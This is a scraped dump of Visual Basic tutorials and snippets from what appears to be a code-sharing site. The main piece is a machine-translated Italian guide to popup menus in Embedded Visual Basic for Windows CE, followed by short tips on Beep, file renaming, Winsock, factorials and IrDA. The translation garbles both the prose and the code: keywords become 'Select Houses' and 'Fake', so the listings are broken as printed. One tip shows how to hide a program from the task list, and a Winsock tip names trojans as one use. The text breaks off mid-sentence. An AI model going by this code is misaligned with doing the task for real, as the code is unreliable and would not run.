{\n\tFONT-WEIGHT: bold; FONT-SIZE: 22pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: center; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: titolodellarticolo\n}\nP.titolettodiparagrafo {\n\tFONT-WEIGHT: bold; FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: titolettodiparagrafo\n}\nLI.titolettodiparagrafo {\n\tFONT-WEIGHT: bold; FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: titolettodiparagrafo\n}\nDIV.titolettodiparagrafo {\n\tFONT-WEIGHT: bold; FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: titolettodiparagrafo\n}\nP.rubrica {\n\tFONT-WEIGHT: bold; FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: right; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: rubrica\n}\nLI.rubrica {\n\tFONT-WEIGHT: bold; FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: right; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: rubrica\n}\nDIV.rubrica {\n\tFONT-WEIGHT: bold; FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: \"Times New Roman\"; TEXT-ALIGN: right; mso-pagination: widow-orphan; punctuation-wrap: simple; mso-fareast-font-family: \"Times New Roman\"; mso-style-name: rubrica\n}\nDIV.Section1 {\n\tpage: Section1\n}\n</STYLE>\n\n<META \ncontent=\"Berardi Michele Programmatore Senior Developer http://web.tiscali.it/mberardi/ e-mail: 03473192000@vizzavi.it mfxaub@tin.it mobile: +39 347 319 2000 Customize Your Opportunities!\" \nname=author>\n<META \ncontent=\"http://web.tiscali.it/mberardi/ Berardi Michele programmatore senior con esperienze concomitanti sia nella ricerca e sviluppo su sistemi wireless e palmari che web programming nonch├¿ programmazione classica , amministrazione e gestione della sicurezza e del problem solving attinente la gestione sia dei sistemi Unix che windows. La sua esperienza si fonda su solide nozioni classiche di algoritmica e programmazione che su ricerca continua all'innovazione ed al miglioramento delle conoscenze in sintonia con i tempi. Come valore aggiunto offre una forte capacit├á creativa e di integrazione con i commerciali ed in genere nel team working.\" \nname=description>\n<META \ncontent=\"web agency, website, siti, internet, web, solutions, maintenance, creations, toys, advertise, games, giochi, flash, Tin.it, Virgilio, Seat pagine gialle, advertising, consulenza, net added value, new economy, tecnologia, web oriented, webdesign, search engines, registrazione nei motori, motori di ricerca, usability, usabilit├á, spazio web, registrazione dominio, commercio elettronico, connettivit├á, mobile, marketing, multimedia, business-to-business, business-to-consumer, b2b, b2c, umts, wap, gprs, wireless, e-commerce, portali, web portal, hosting, programmazione, asp, php, ASP, xml, html, javascript, java, js, css, action scripts, dhtml, dynamic, xhtml, vbscript, cgi, sql, perl, carrello elettronico, database, Foggia, provincia di Foggia, Puglia, Italia, Italy , Programmatore, developer, creative, analyst, senior, embedded, visual, basic, C, pocket, pc, palmari, career, summary, expert, system, administrator, unix, windows, win32, *nix, linux, solaris, windows, CE, wireless, customize, opportunities\" name=keywords></HEAD>\n<BODY lang=IT style=\"tab-interval: 35.4pt\" vLink=purple link=blue>\n<DIV class=Section1>\n <A \nhref=\"http://web.tiscali.it/mberardi/articoli/popup_emu.zip\">Download here the \n project source code</A>\n \nEmbedded Visual Basic 3.0\nand the planning of Windows Ce 3.0\n by Michele Berardi\n \n The explosive mania of the pocket applications\n \nIt is mattering with the times that they run to be able to \nhave access in immediate and simple manner to the always increasing mole of \ninformation of whom we need, even if to be able have carried them of \nbreast pocket I do not ruin.\n \n After to to be run to gain a PDA and to have some past now \n to play us on, we notice ourselves that for those this technological wonder \n hand to hand itself yourselves it it more indispensable not only to organize \n our engagements but also for very other requirements, even if we have \n the talent of the computer program and in mind a shining idea to apply \n these technologies, we wonder us if the house motherPlanned the operating \n system (we will analyze in this case windows ce) makes available us some tools \n of development.\n \n The suite in matter released like free is called embedded \n visual I study, itself compone of 2 environments orientated to the development \n in c/c + + and visual basic, we will take care of ourselves this one. These \n finish renamed for the occasion in ΓÇ£embedded visual basicΓÇ¥, in synthesis a \n version to hoc of vbscript. Our escursus will drive us between the characteristic \n of this environment that for how much pertains the structure of the RAD reflects \n faithfully the environment visual made basic exception\nFor some actual features of the systems embedded.\n \nThe environment of development and test.\nA time unloaded the environment of development hence: <A \nhref=\"http://www.microsoft.com/mobile/downloads/emvt30.asp\">http://www.microsoft.com/mobile/downloads/emvt30.asp</A> \n\n (That it weighs about like sole 300mb installer), \n we proceed in easy manner to its installation on the car of development that \n I remember to be able to to be used to emulate the embedded systems should \n ascend an operating system NT compatibile (nt or 2000 goes well).\n \nAt the conclusion of the installation we will have embedded \ncoupled it visual basic and visual c + + ready to to be thrown.\n Performing embedded visual basic we notice themselves with \n big satisfaction that for ourselves gotten used to the warm and friendly RAD \n of visual basic nothing is changed, we note alone some windows in more where \n we will note for example a pigeonhole to come down with to the indicating \n inside the name of one of the varied device supported from the technology \n windows ce.\n \n Certainty we will note the classic helm with the typical \n controls of vb and all the windows to their place, but extited for the desire \n to write a program of example, even if a simple form with a button that us \n show the classic hallo world,\n Choosing from menu file a novelty I project we will choose \n the platform for that breed the form of example, on which operate like with \n visual basic (introducing controls and code clicking or writing by hand the \n necessary lines of code). The successive step will be at our discretion the \n generation of the code vbscript from uploadare on the car pocket pc join to \n our pc how described in the manual of use of our peripheral pocket pc or the \n execution of the application in one of the varied environments of emulation \n distributed with the suite (the emulation will be possible alone on the systems \n of development having like S. OR. windows. \n \nThe differences with Visual Basic\n The systems windows ce is a windows32 bit compatible (while \n is not supported win16 bit for example..)\nWhose together of bookstores and functions of system much are \nreduced and laughs at the bone for obvious motive of solidarity\n And meager availability of resources (in origin perhaps could \n be worth, but today the power of such peripheral grew sensitively).\n \n The first one what that jumps to the eye is the missed support \n of the UDT (user defined types), thing that goes around with the due sense \n and simulating the structure that it is wanted representative, therefore in \n phase of import of the code from visual traditional basic behaves a total \n rewrote of the portions of code that do use of abovementioned structures.\n \n The general controls of use and of support to the interface \n user they are all presents (listbox,treeview,filesystem,ecc..) and all supported \n the methods exhibited from their seeming desktop, even if turning between \n the newsgroup complain themselves bug in the management of some methods (for \n example of winsock control..) .\n \n Other scarcity the direct management of the popup menu (using \n the calls to the bookstores of system we can hold in check this feauture , \n the web abounds of code of example..)\n \n The relevant functions to the register there are all and \n an appropriate api-viewer installed with the tools of embedded visual I study, \n will help to recreate us the part of code necessary basic code function to \n the purposes of our program is correctly defined.\n \nTo manage THE Pop Up and the function ΓÇ£tap and \nholdΓÇ¥ menu from Embedded Visual Basic\n \n How indicated in the short panoramic one on embedded visual \n basic an of the scarcities in limits of management directed by part of embedded \n visual basic they are the Pop Up menu and the function ΓÇ£tap and holdΓÇ¥ typical \n of the palm systems equipped of touch screen, equivalent of the function ΓÇ£right \n key of the mouseΓÇ¥ natural part of the traditional pc.\n \n I will pick the occasion for drive you throught some steps \n in the accomplishment of a simple application with embedded visual inclusive \n basic of the management of the Pop menu Up, using some actual functions \n of bookstore of the kernel of windows ce.\n \n Basic visual basic environment skill is required, therefore \n alone some intervent when in the course of the guided accomplishment will \n be found us opposite to actual operations of embeded visual basic.\n \n Ahead all we will proceed to the creation of a new project, \n if to the start of embedded visual basic will not appear the window ΓÇ£new projectΓÇ¥, \n we will proceed choosing from the menu ΓÇ£FileΓÇ¥ the voice ΓÇ£new projectΓÇ¥ and \n from the window will choose a relevant project to an of the platforms installed. \n For convenience we choose the model named: ΓÇ£Windows CE for Pocket PC projectΓÇ¥ \n and we choose ΓÇ£okΓÇ¥. Now we will have the classic empty form on which \n build our application.\n \n \n For first thing we add to the project a new form of program, \n moving us in the window project or from the menu file choosing the voice ΓÇ£add \n modulsΓÇ¥, to its inside we will introduce the following lines of code:\n \n\t\n\t<table cellpadding=5 width=\"100%\" bgcolor=#e0e0e0 border=0>\n <tbody>\n <tr> \n <td>Option \n Explicit<o:p></o:p>\n <o:p></o:p>\n Public \n CurX As Integer, CurY As Integer, MenuX As Integer, MenuY As Integer<o:p></o:p>\n <o:p></o:p>\n Public \n Const MF_ENABLED = &H0&<o:p></o:p>\n Public \n Const MF_STRING = &H0&<o:p></o:p>\n Public \n Const MF_GRAYED = &H1&<o:p></o:p>\n Public \n Const MF_CHECKED = &H8&<o:p></o:p>\n Public \n Const MF_UNCHECKED = &H0&<o:p></o:p>\n Public \n Const MF_SEPARATOR = &H800&<o:p></o:p>\n <o:p></o:p>\n Public \n Const TPM_CENTERALIGN = &H4<o:p></o:p>\n Public \n Const TPM_RIGHTALIGN = &H8<o:p></o:p>\n Public \n Const TPM_BOTTOMALIGN = &H20<o:p></o:p>\n Public \n Const TPM_VCENTERALIGN = &H10<o:p></o:p>\n Public \n Const TPM_TOPALIGN = &H0&<o:p></o:p>\n Public \n Const TPM_LEFTALIGN = &H0&<o:p></o:p>\n Public \n Const TPM_RETURNCMD = &H100&<o:p></o:p>\n <o:p></o:p>\n Public \n OpVec(10), OpName (10) As Integer<o:p></o:p>\n <o:p></o:p>\n Public \n Declare Function CreatePopupMenu Lib \"Coredll\" () As Long<o:p></o:p>\n <o:p></o:p>\n Public \n Declare Function AppendMenu Lib \"Coredll\" Alias \"AppendMenuW\" (ByVal \n hMenu As Long, ByVal wFlags As Long, ByVal wIDNewItem As Long, ByVal \n lpNewItem As String) As Long<o:p></o:p>\n <o:p></o:p>\n Public \n Declare Function TrackPopupMenuEx Lib \"Coredll\" (ByVal hMenu As Long, \n ByVal an As Long, ByVal n1 As Long, ByVal n2 As Long, ByVal hWnd As \n Long, lpTPMParams As Long) As Long<o:p></o:p>\n <o:p></o:p>\n Function \n ShowPopupMenu (intPosLeft As Integer, intPosTop As Integer, frmName \n As Form) As Integer<o:p></o:p>\n <o:p></o:p>\n Dim hMenu As Long\n \n ' -beginning- construction and popolamento of the \n pop up menu\n \n hMenu \n = CreatePopupMenu<o:p></o:p>\n <o:p></o:p>\n \n AppendMenu hMenu, OpVec(1), 1, OpName (1)<o:p></o:p>\n \n AppendMenu hMenu, OpVec(2), 2, OpName (2)<o:p></o:p>\n \n AppendMenu hMenu, MF_SEPARATOR, 0, \"--------------------\"<o:p></o:p>\n \n AppendMenu hMenu, OpVec(3), 3, OpName (3)<o:p></o:p>\n \n AppendMenu hMenu, OpVec(4), 4, OpName (4)<o:p></o:p>\n \n AppendMenu hMenu, OpVec(5), 5, OpName (5)\n \n '\n ' -end- construction\n '<o:p></o:p>\n ShowPopupMenu = (TrackPopupMenuEx (hMenu, TPM_LEFTALIGN \n Or TPM_TOPALIGN Or TPM_RETURNCMD, intPosLeft, intPosTop, frmName. \n hWnd, 0))<o:p></o:p>\n <o:p></o:p>\n End Function\n \n</td>\n </tr>\n </tbody>\n</table>\n \n \n Now we return at our empty form and insert a button of order \n making sure us of to name it ΓÇ£cmdOpzioniΓÇ¥ and a label, to which we will give \n the name ΓÇ£lblRisultatoΓÇ¥.\n \n Subsequently we add to the form an event Timer, rename it \n ΓÇ£mnuTimerΓÇ¥, this event will be occupied to monitor and to moderate intervals \n of time if the user carries out operations of tap & hold on the button \n of order ΓÇ£cmdOpzioniΓÇ¥, additional to our form.\n \n Select our form and go in the code display of formal procedure.\n \n select in the procedure started of default to the loading \n of the Form, which will make turn the execution of the program (safe different \n choice in phase of definition of the project), named Form_Load(), and we introduce \n this code:\n \n<table cellpadding=5 width=\"100%\" bgcolor=#e0e0e0 border=0>\n <tbody>\n <tr> \n <td>'\n ' we boot the strip of the options to pass the function \n that emulates\n ' the menu to come down...\n '<o:p></o:p>\n OpVec \n (1) = MF_ENABLED Or MF_STRING<o:p></o:p>\n OpVec \n (2) = MF_ENABLED Or MF_STRING<o:p></o:p>\n OpVec \n (3) = MF_GRAYED Or MF_STRING<o:p></o:p>\n OpVec \n (4) = MF_ENABLED Or MF_STRING Or MF_CHECKED<o:p></o:p>\n OpVec \n (5) = MF_GRAYED Or MF_STRING Or MF_CHECKED<o:p></o:p>\n <o:p></o:p>\n OpName (1) = \" \n First Option\"\n OpName (2) = \" Second Option\"\n OpName (3) = \" Inactive Option\"\n OpName (4) = \" Chosen of Default\"\n OpName (5) = \"Inactive-Chosen\"\n</td>\n </tr>\n </tbody>\n</table>\n \nSubsequently and outside from the procedure Form_Load() , \n we introduce these lines of code:\n \n<table cellpadding=5 width=\"100%\" bgcolor=#e0e0e0 border=0>\n <tbody>\n <tr> \n <td>Private Sub cmdOpzioni_MouseDown (ByVal Button As Integer, \n ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)<o:p></o:p>\n CurX \n = X<o:p></o:p>\n CurY \n = Y<o:p></o:p>\n MenuX = X + cmdOpzioni. Left<o:p></o:p>\n MenuY = Y + cmdOpzioni. Top<o:p></o:p>\n mnuTimer. Enabled = True<o:p></o:p>\n End \n Sub<o:p></o:p>\n <o:p></o:p>\n Private Sub cmdOpzioni_MouseMove (ByVal Button As Integer, \n ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)<o:p></o:p>\n ' if the pen is moved from the object we \n are unaware of the function of \"tap & hold\"\n If \n Abs (CurX - X) > 4 Then mnuTimer. Enabled = Fake<o:p></o:p>\n If \n Abs (CurY - Y) > 4 Then mnuTimer. Enabled = Fake<o:p></o:p>\n End \n Sub<o:p></o:p>\n <o:p></o:p>\n Private Sub cmdOpzioni_MouseUp (ByVal Button As Integer, \n ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)<o:p></o:p>\n mnuTimer. Enabled = Fake<o:p></o:p>\n End \n Sub<o:p></o:p>\n <o:p></o:p>\n Private Sub mnuTimer_Timer ()<o:p></o:p>\n <o:p></o:p>\n Dim intMenuResult As Integer<o:p></o:p>\n mnuTimer. Enabled = Fake<o:p></o:p>\n intMenuResult = ShowPopupMenu (MenuX, MenuY + \n 30, Me)<o:p></o:p>\n lblRisultato. Caption = \"you chose the \n option: \" & OpName (1)\n \n ' introducing a structure houses.. select\n ' we can manage better the operations\n ' To perform in base to the choice of the user.\n \n Select Houses intMenuResult\n Houses 1\n ' you introduce here \n the code that will go performed if the user\n ' it chooses this option..........................\n Houses 2\n Houses 3\n 'the option is disabled....\n Houses 4\n Houses 5\n 'option disabled..........\n End Select\n \n ' to activate and to deactivate the option \n man hand that we work over be there we entrust\n ' to the function exclusive...Or\n OpVec (intMenuResult) = OpVec (intMenuResult) \n Xor MF_CHECKED<o:p></o:p>\n End Sub\n</td>\n </tr>\n </tbody>\n</table>\n \n \n \n \n \n Now we are ready to make endorser under emulation or directly \n on the car target the ours program,\n and it is therefore arrived the time to illustrate the phases \n of set up of the environment of emulation and the installation of packet of \n creation stand-alonr for all systems windows ce compatible with our application \n of example (in this case there we entrust alone to functions of the kernel \n of windows ce present in all his reincarnations. .).\n \n How to boot the environment for the emlation and \n create packet of installation for the target machine\n \n move itself in the menu File, choose the option make (near \n the voice ΓÇ£nomeprogetto. vbΓÇ¥) and to breed the file\n *.Vb.\n \nSubsequently to move itself in Tools / Remote Tools / and to \nchoose ΓÇ£Application Install WizardΓÇ¥.\n \nThe wizard will follow us during everything the phases \nof construction of the file. cab asking us the route of the files of project and \nother information, in the following order:\n \n1. file of project. ebp\n2. file I project. vb\n3. folder where will come created the file of the \ninstaller\n 4. the/the processors for which include the runtimes\n5. eventual active-additional x to include in the file of \ninstallation\n6. files of data additional user\n 7. the directory of destination, more a series of data describing \n the application (description,producer,ecc..)\n \n Us not awn that click on install and to breed the file. cab \n and the remote installer. The phase of copy of the file of installation \n of the application happens is copying directly on the device the file. cab \n that starting the application of install bred from the trial, that will provide \n is to copy the necessary files on the pocket pc that to invite the user to \n install I applied it.\n \n \nConclusions\n \n All it adds the suite Microsoft Embedded visual I study 3.0 \n is free and is rich of relevant documentation to the planning of the windows \n ce devices, even I notice some bug in the planning of some relevant components \n to adoce (I think does not reduced to the smaller limits and suitable to manage \n the systems windows ce...) and winsock.\n \n The community of developers is lively at work for patching \n or use some tricks for scarcities aside of mommy microsoft like for example \n the direct support for the popup menu and the scarcity of UDT (user \n defined types).\n \nBibliography<o:p></o:p>\n <o:p></o:p>\n[1] \nPocket PC Development in the Enterprise Microsoft Press, Andreas \nSjostrom and Christian Forsberg.<o:p></o:p>\n[2] to \nProgram Windows Ce Microsoft Press , Douglas \nBoling. <o:p></o:p>\n <o:p></o:p>\nReferences\n[2] \n<A href=\"http://www.devbuzz.com/\">http://www.devbuzz.com/</A> <A \nhref=\"http://www.microsoft.com/mobile/downloads/emvt30.asp\">http://www.microsoft.com/mobile/downloads/emvt30.asp</A> \n\n \n<DIV \nstyle=\"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; BORDER-LEFT: medium none; PADDING-TOP: 1pt; BORDER-BOTTOM: medium none\">\nMichele Berardi</DIV>\nComputer program Senior\nIt has working for different months on the pocket pc for \naccount of a partner Hewlett Packard.\nIt works at present like Computer Program Senior.\nE-mail(s \n) :<A href=\"mailto:03473192000@vizzavi.it\"> 03473192000@vizzavi. it</A> <A \nhref=\"mailto:mfxaub@tin.it\">mfxaub@tin.it</A> <o:p></o:p></DIV>\n</BODY></HTML>\n"},{"WorldId":1,"id":38736,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38742,"LineNumber":1,"line":"'---------------------------- MODULE --------------------------\nPublic Type ArrayOfType\n item_01 As Long\n item_02 As Long\n item_03 As Long\n item_04 As Long\n item_05 As Long\n item_06 As Long\n item_07 As Long\nEnd Type\nPublic ArrayOfType() As ArrayOfType ' declare type as array\nPrivate Declare Sub MemCopy Lib \"kernel32\" Alias \"RtlMoveMemory\" (Dest As Any, Src As Any, ByVal cb&)\n \nPublic Function RemoveArrayItem(ByVal mIndex As Long) As Boolean\n' Erase a specified (mIndex) item in a Dynamic Type Array.\n' When the index is valid it shrinks the Array, so an item\n' will not hold any 'empty' variable (1,2,3,4, 0 ,6,7,8 OR \"a\",\"b\",\"c\",\"d\", \"\" ,\"f\",\"g\")\n' NOTE: I don't use ArrayOfType(0)\n' if we use (as below) UBound(ArrayOfType), and the ArrayOfType() isn't\n' holding any data ( = Nothing) we get an error! :(\nOn Error GoTo dspErr\n Dim i As Long ' counter\n Dim hMatrix As Long ' size of array\n hMatrix = UBound(ArrayOfType)\n \n If hMatrix = 1 Then ' size of array is 1 (1 item hold data)\n Erase ArrayOfType ' clear complete array (size was 1)\n RemoveArrayItem = True ' return function\n Exit Function ' done...\n ElseIf mIndex = hMatrix Then ' last item in matrix?\n ReDim Preserve ArrayOfType(hMatrix - 1) As ArrayOfType ' hold data and resize array and delete last item\n RemoveArrayItem = True ' return function\n Exit Function ' done...\n End If\n \n For i = mIndex + 1 To hMatrix ' start with item mIndex\n MemCopy ArrayOfType(i - 1), ArrayOfType(i), Len(ArrayOfType(i)) ' copy all items into the items 1 step down in the array (overwrites)\n Next i\n ReDim Preserve ArrayOfType(hMatrix - 1) As ArrayOfType ' resize array [removes last item -> we copied it, remember?!]\n RemoveArrayItem = True ' return function\n Exit Function ' done...\ndspErr:\n MsgBox Err.Number & \" - \" & Err.Description\nEnd Function\n"},{"WorldId":1,"id":38745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38748,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38751,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38752,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38767,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38784,"LineNumber":1,"line":" \nAll About \nBeep API \nIntroduction \nToday we will discuss about the Beep API which is very simple to use. \nYou may think that what the Beep API can do without beeping. But, wait there's \nmore what you can do with this API. You can also drive the mosquitos away using \nthis technique! Let's have a look at them. \n \nThe Beep API \nThe function is synchronous, so it doesn't return control to its caller \nuntil the sound finishes. Actually if you have Win9x OS such as Windows95/98/ME, \nthere is nothing more you can do than beeping with this API. So, it would be \nbetter if you use the built-in VB command 'beep' instead of using Beep API. You \ncan generate 37Hz to 32768Hz (inclusive) frequency on WinNT/2000/XP and it is up \nto you how long your VB program will generate this frequency using your PC \nSpeaker. Let's take a look at this one of the simpliest APIs use... \nPrivate Declare Function Beep Lib "kernel32" Alias "Beep" (ByVal _ dwFreq As Long, ByVal dwDuration As Long) As Long \n\n \n\nPrivate Sub Form_Load() '36 < Frequency < 32768 and Duration in miliseconds. \n' here we are using Frequency=11000 and Duration = 1000 \n'so set the variable \n\nFreq=11000 \nDuration=1000 \nai = Beep(Freq,Duration) \n'if success ai <> 0 \n\nEnd Sub\n\nIn this code, first we have declared the Beep API and set the arguments to pass. \nThe first argument it takes is dwFreq, and the last one is dwDuration. As we \nwould like to generate 11KHz of frequency for 1 second. We've just simply set \nvariable to pass. Here you should remember that the dwDuration argument is in \nmiliseconds. So, if you set this to 1000, it will generate sound for 1 second. \nSo, you can also drive the mosquitos away using this technique! \n \nConclusion \nAnd this is exactly all about. Hope I'll introduce you with few good \nstuffs in VB programming. Never forget to contact me for any question, comments \nregarding Win32 API, VB, Java etc. Contact me without hesitation. My email \naddress is MadWizardBD@hotmail.com. I'll be happy to help you. LET ME KNOW WHAT \nDO YOU THINK!!! AND NEVER FORGET TO RATE!!\n"},{"WorldId":1,"id":38786,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38803,"LineNumber":1,"line":"Ok guys this is my first article so i hope you will like it.In this article i don't try to explain complicated code,but i will \njust tell you some simple but very usefull\ncommands.I wrote this for beginners but i think many people who are not\nbeginners can learn some usefull tips ....ok let's start\n1) Let's say we have a file C:\\TEST.EXE and\nwe want to rename it to C:\\MYCGI.CGI \n.\nWe can\ndo that with this simple command\nName "C:\\TEST.EXE"\nas "C:\\MYCGI.CGI"\n2) If we want to move the above file ( C:\\TEST.EXE\n \n) to the folder C:\\THEFOLDER\\ \n\n we can do that by\nchanging the above command to :\nName "C:\\TEST.EXE"\nas "C:\\THEFOLDER\\TEST.EXE"\n3) Let's say we have a folder C:\\TEST\\\nand we want to rename it to \n C:\\RENAMED\\\nwe can use the commands :\nName "C:\\TEST\\" as "C:\\RENAMED\\"\nor\nName "C:\\TEST"\nas "C:\\RENAMED"\n4) If we want to disappear our program from the endtask\nlist we can do it using the following command\nApp.TaskVisible = False \n \nThat's it.I hope you found this article interesting!\n"},{"WorldId":1,"id":38807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38817,"LineNumber":1,"line":"Dim N As Double, b As Double, c As Double, p As Double\n'\n' Fast Way To Calculate N! ( N Factorial)\n'\n' A is N\n' using visual basic my original algorithm\n' is adapted to the vb limits..\n' you can use long or int instead of double\n' for small calculation..\n' some tips require the use of asr (aritmetic\n' shift right)\n' instead of division by 2!\n' and code optimization instead - 1 you can....\n' a good exercize of optimization... enjoy!\n' (also assembly form of this code boost the\n' performances!)\n'\n' N.B.\n' using double I extend the range of N!\n' that i can represent!\n' PASS TO VARIABLE N \n' THE VALUE FOR WITCH\n' YOU MUST CALCULATE\n' FACTORIAL ( N! )\n' \nc = N - 1\np = 1\nWhile c > 0\np = 0\nb = c\nWhile b > 0\nIf b And 1 Then\np = p + N\nEnd If\nb = int (b / 2) ' YOU MUST USE THE INTEGER PART NOT THE REST! asr more efficient fo division!\nN = N + N\nWend\nN = p\nc = c - 1\nWend\nMsgBox p ' the result of N!\n"},{"WorldId":1,"id":38822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38828,"LineNumber":1,"line":"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n<head>\n<title>Some Spells on: IrDa (Infrared) devices programming</title>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\n</head>\n<body>\nSome Spells on: "IrDa (Infrared) devices programming" \n whit code snippet written in: \n Embedded Visual Basic 3.0 (Windows Ce 3.0) \n (C) 2002 Berardi Michele \n http://web.tiscali.it/mberardi \n \n The infrared devices are joined to the BCR (a serial device). \n \n The BCR cannot send off messages to the irda peripherals \n about its speed of communication, therefore is necessary \n to set up and initialize on both irda peripherals, \n the same speed of communication. \n \n The values of default of habit they are: 9600, N,8,1. \n \n The device Irda need for running 12 milliampere \n power suppyed from the BCR, either from a battery or \n external power supply. \n \n The connection means habit throught a serial connector \n 9 pin female, which takes the power \n from the handshaking's pin. \n \n To make one's will the communication Irda using a \n Desktop PC provided of an Irda Eye. \n You can use a simple terminal emulator \n on the desktop setting the same parameters \n as the pocket pc device ( 9600,N,8,1 ) \n and obvious choosing the serial port \n assigned to Irda device (the port must be \n correctly installed on system). \n \n If it is wanted writeran applications for the IrDa com, \n you are remembered to settings highs (true for the VB) \n the values DTR and RTS in the property of the object COM, \n otherwise the communication cannot happen \n for scarcity of energy, \n besides for the object COM in matter is necessary set up \n the propertyes: \n \n Rthreshold = 1 and Strheshold = 0. \n \n Example of evb code: \n<table cellpadding=5 width=\"100%\" bgcolor=#e0e0e0 border=0>\n <tbody>\n <tr> \n <td> ' \n ' how to create a com object and how it (described above) \n ' assign a generic Irda port (as usual COM4) \n ' \n \n Option Explicit \n \n Private Sub Receive(data) \n txtReceived.SelStart = Len (txtReceived.Text) \n txtReceived.SelText = data \n End Sub \n \n Private Sub InviaTesto_Click () \n Comm1.Output = txtReceived.Text \n End Sub \n \n Private Sub Comm1_OnComm () \n If Comm1.CommEvent = 2 Then Call Receive(Comm1.Input) \n End Sub \n \n Private Sub Form_Load () \n If Not Comm1.PortOpen Then Comm1.PortOpen = True \n End Sub \n \n </td>\n </tr>\n </tbody>\n</table>\n \n \nBerardi Michele \n Senior Developer \n "customize your opportunities!" \n Mobile: + 39 347 319 2000 \n E-Mail(S) : \nmfxaub@tin.it \n 03473192000@vizzavi. it \n Web: \n http://web.tiscalinet.it/mberardi \n \n\n \n\n \n\n\n\n</body>\n</html>\n"},{"WorldId":1,"id":38830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38831,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38840,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38841,"LineNumber":1,"line":"Ok in your VB project if you are making any type of program eg. Trojan , Chat Program or what ever in your connect button make sure you have the following code.\nIf Winsock1.State = 0 Then\nWinsock1.RemoteHost = Text1.Text\nWinsock1.RemotePort = 1000\nWinsock1.Connect\nDo Until Winsock1.State = sckConnected\n DoEvents: DoEvents: DoEvents: DoEvents\nLoop\nEnd If\nOk lets look at If Winsock1.State = 0 Then\nthis tells winsock only to go ahead with the \ncommand if winsock isnt connected this way the\ncrappy all ready conencted error will not come \nup. \nnow look at this bit of code\nDo Until Winsock1.State = sckConnected\nThis tells winsock to keep trying to connect\nuntil connected.\nNow in a command button or what ever when you have a button sending some data always put this\ncode.\nIf Winsock1.State = 0 Then Label.Caption = \"Not Connected\"\nstrdata = \"data\"\nIf Winsock1.State = sckConnected Then\nWinsock1.SendData strdata\nEnd If\nThis tells winsock of the state is 0 it will\nsay you are not connected.\nNow lets look at this code.\nif winsock1.state = sckClosing then winsock1.close \nlabel.caption = \"Disconnected.\"\nThat code should be put in form load it tells\nwinsock if it gets disconnected it will close\nand tell a label its disconnected so this will \nprevent the gay error were if you get dissed you\ncan still connect again !\nI hope you enjoyed these tips have fun winsock \nprgraming i find it very awsome !"},{"WorldId":1,"id":38845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38851,"LineNumber":1,"line":"/*\nC version of the base plain-html obfuscator!\n (C) 2002 Michele Berardi\n http://web.tiscali.it/mberardi\n*/\n#include <stdio.h>\n#include <string.h>\nint i;\nchar *emailaddr = \"nospam@nospam.it\";\nvoid main()\n{\nfor (i=0;i<strlen(emailaddr);i++){printf (\"&#%d;\",(short)emailaddr[i]);}\n}\n"},{"WorldId":1,"id":38864,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38865,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38880,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38890,"LineNumber":1,"line":"Did you know you can set boolean variables to mathematical equations? For example: \n \nDim blnMyBoolean As Boolean \n \nblnMyBoolean = (1 + 1 = 2) \n \nThis would assign the 